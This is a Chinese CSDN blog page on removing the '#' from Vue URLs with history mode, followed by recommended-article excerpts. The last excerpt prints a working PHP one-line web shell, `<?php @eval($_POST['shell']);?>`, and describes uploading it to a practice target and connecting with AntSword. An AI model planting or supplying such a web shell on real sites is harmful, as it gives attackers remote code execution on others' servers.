vue去掉#,history模式_vue关闭history模式-程序员宅基地

技术标签: VUE+Element  VUE  

一、vue项目携带一个#会对开发造成一定的影响:

1、微信三方登录回调地址,有#号时,接收不到code参数

2、微信H5支付的回调地址,不允许有#

3、App分享,处理特殊字符时,可能会对#进行编译

4、有点影响美观

现在网站大多有三方登录,支付等功能,存在#,项目开发就存在很大的障碍。话不多说,开始去掉#吧。

二、去#的原理

vue把#当做自己的根目录,静态资源,比如图片。

去掉#后,要采用相对路径去引用,如果图片引用是在js内,则要采用require()方法进行引用。

去#后台渲染,请参考vue官方文档 https://router.vuejs.org/zh/guide/essentials/history-mode.html

三、去掉#方法

1、首先判断产线项目是否放在域名根目录下

在router/index.js文件中,添加history模式

如果项目不在根目录下,比如产线项目根目录为 http://www.baidu.com/project-name/

 
  1. export default new Router({

  2. mode: 'history',

  3. base: '/project-name/', //如果项目根目录不为域名,则添加该行

  4. routes: [{}]

  5. })

2、修改config/index.js文件

 
  1. build: {

  2. // Paths

  3. assetsRoot: path.resolve(__dirname, '../dist'),

  4. assetsSubDirectory: 'static',

  5. assetsPublicPath: '/project-name/', //添加根目录,如果域名为根目录,则为 '/'

  6. }

3、去掉#,对项目的根目录造成影响,这是不可避免的,再次强调,确保静态资源文件路径正确。

四、Apache,Nginx等服务器部署vue项目请参考另一篇博客:

https://blog.csdn.net/bocongbo/article/details/83957206

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/journeynana/article/details/91040127

智能推荐

动手实现编译器(二)——语法分析_sysy文法-程序员宅基地

文章浏览阅读3.9k次,点赞9次,收藏27次。在这一节中,将介绍语法分析器。在上一节的词法分析上实现SysY语言语法分析,来解析类似2 - 15 / 7 + 3 * 8 T_EOF(T_EOF表示终结符)由于SysY语言的语法是递归的,因此可以递归解析它。可以编写如下所示的伪代码:递归解析函数() { 扫描并检查第一个令牌是一个数字。如果不是,则返回错误。 获取下一个单词。 如果到达输入的末尾,则返回结果。 否则,调用递归解析函数()。}抽象语法树为了进行语义分析,我们需要代码来解释识别的输入,或将其转换为另一种格式,例如汇编代_sysy文法

Ubuntu下Jittor环境搭建-程序员宅基地

文章浏览阅读608次,点赞7次,收藏11次。计图框架(Jittor),作为新兴国产深度学习框架,其优秀的JIT等方面性能指标排在Pytorch等框架之前列。然而,其对新版本系统环境不甚兼容,官方甚至推荐CUDA 11.2 + Ubuntu 18.04。本教程旨在帮助大家在新如CUDA 12.4 + Ubuntu 23.10系统环境中也仍旧搭建起Jittor环境,以便更好的推进国产深度学习框架的发展。

Java笔记-面向对象之构造方法 内部类 访问修饰符 代码块_空参构造的访问修饰符-程序员宅基地

文章浏览阅读510次。一 构造方法1.1构造方法介绍 在开发中经常需要在创建对象的同时明确对象的属性值,比如员工入职公司就要明确他的姓名、年龄等属性信息。 那么,创建对象就要明确属性值,那怎么解决呢?也就是在创建对象的时候就要做的事情,当使用new关键字创建对象时,怎么给对象的属性初始化值呢?这就要学习Java另外一门小技术,构造方法。 那什么是构造方法呢?从字面上理解即为构建创造时用的方法,即就是对..._空参构造的访问修饰符

Error creating SqlSource for SqlProvider. Method 'deleteById' not found in SqlProvider-程序员宅基地

文章浏览阅读3.2k次。这里写自定义目录标题一、BUG还原二、分析原因三、其他一、BUG还原在编写mybatis通用增删改查方法时,使用的是Provider动态拼接sql.启动项目报错Caused by: org.apache.ibatis.builder.BuilderException: Error creating SqlSource for SqlProvider. Method 'deleteById'..._error creating sqlsource for sqlprovider

Webpack生成企业站静态页面 - 项目搭建_webpack打包一个静态网站-程序员宅基地

文章浏览阅读1.2k次,点赞29次,收藏23次。现在Web前端流行的三大框架有Angular、React、Vue,很多项目经过这几年的洗礼,已经都 转型使用这三大框架进行开发,那为什么还要写纯静态页面呢?比如Vue中除了SPA单页面开发,也可以使用nuxt.js实现SSR服务端渲染,满足SEO优化。但是对于那些还是在维护老项目,使用MVC、MVP进行开发,或者觉得使用nuxtjs成本较高小型项目,从历史原因和项目实际情况考虑,会退而求其次,让前端快速完成页面框架和样式,交付后端进行数据渲染。_webpack打包一个静态网站

随便推点

Java面试宝典2018_对于 system.out.println("s1="+s1); 语句,java首先自动变量 s1 -程序员宅基地

文章浏览阅读1.7k次。一. Java基础部分…………………………………………………………………………………….. 71、一个“.java”源文件中是否可以包括多个类(不是内部类)?有什么限制?………………………………………………………………………………………………. 72、Java有没有goto?………………………………………………………………………… 73、说说&和&&的区别。……..._对于 system.out.println("s1="+s1); 语句,java首先自动变量 s1 的值转换成 ,

python的requests.post请求来发送application/json和application/x-www-form-urlencoded数据_python application/json-程序员宅基地

文章浏览阅读1w次,点赞4次,收藏33次。今天快坑死我了,网上讲这个的特别少,难道大家都不用这个吗?废话不多说,上干货。发送application/json数据这个比较简单,我这里不需要什么headers 和cookie,需要的朋友去这里看:https://www.cnblogs.com/wtcl/p/9006709.html url_weather = "www.baidu.com/****" # 这就是你的请求路..._python application/json

SpringBoot2.3整合ElasticSearch7.6_elasticsearch7.6 下载地址-程序员宅基地

文章浏览阅读3.2k次,点赞3次,收藏18次。SpringBoot2.3整合ElasticSearch7.6Elasticsearch下载地址 https://www.elastic.co/cn/downloads/elasticsearchkibana下载地址https://www.elastic.co/cn/downloads/kibanaelasticsearch-analysis-ik 下载地址https://github.com/medcl/elasticsearch-analysis-ik/releases前三小节简单介绍如何安装_elasticsearch7.6 下载地址

(c语言)圣诞树_c语言圣诞树-程序员宅基地

文章浏览阅读8.4w次,点赞78次,收藏382次。Mooc课后习题集 及 做到的一些有趣的题这是我初学c开始有意识的记录自己做的每一道题开始写下的代码水平 一个一个代码发出来 直到我现在学的数据结构 那个时候还不会注释 格式什么的也是按照自己怎么喜欢怎么来 如果真不会看会代码理解一下 qwq 如代码有错请见谅 毕竟都好久以前敲得了hhh ~~如果对各位的思路引导有帮助那更好#include <stdio.h>int main(){ int i,j,n,space; printf("请输入树的层数:"); scanf_c语言圣诞树

Kafka01_kafka-2.2.1-kafka4.1.0.tar.gz网址-程序员宅基地

文章浏览阅读52次。Kafka文章目录Kafka1. kafka 部署2. kafka 启动脚本编写3. kafka Topic1. kafka 部署消息中间件mysql–>maxwell–>kafka–>ss/flink–>hbase存储数据缓冲上游业务高峰给下游带来的压力作业夯住流式平台发布&订阅: 类似一个消息系统,读写流式的数据处理: 可以编写可扩展的流式app,用于实时事件的响应存储: 副本备份,容错的集群https://docs.cloudera.com/do_kafka-2.2.1-kafka4.1.0.tar.gz网址

植入木马获取网站权限_通过网站获取权限-程序员宅基地

文章浏览阅读1k次。获取网站权限首先获得需操作网址(下面演示的是学校练习靶机)打开网址,利用上篇所讲知识得到后台管理员权限,登入后台管理随机寻找可注入点,找到注入点根目录位置如图,这个就是随机找到的可植入木马位置先写好一个木马文件,即一句话木马<?php @eval($_POST['shell']);?>将以上代码写入webshell.php文件中然后放在站点目录下通过浏览器访问,以POST方式传入shell=phpinfo();,或者用蚁剑或菜刀等工具连接(我这里用的是蚁剑):然后上传至_通过网站获取权限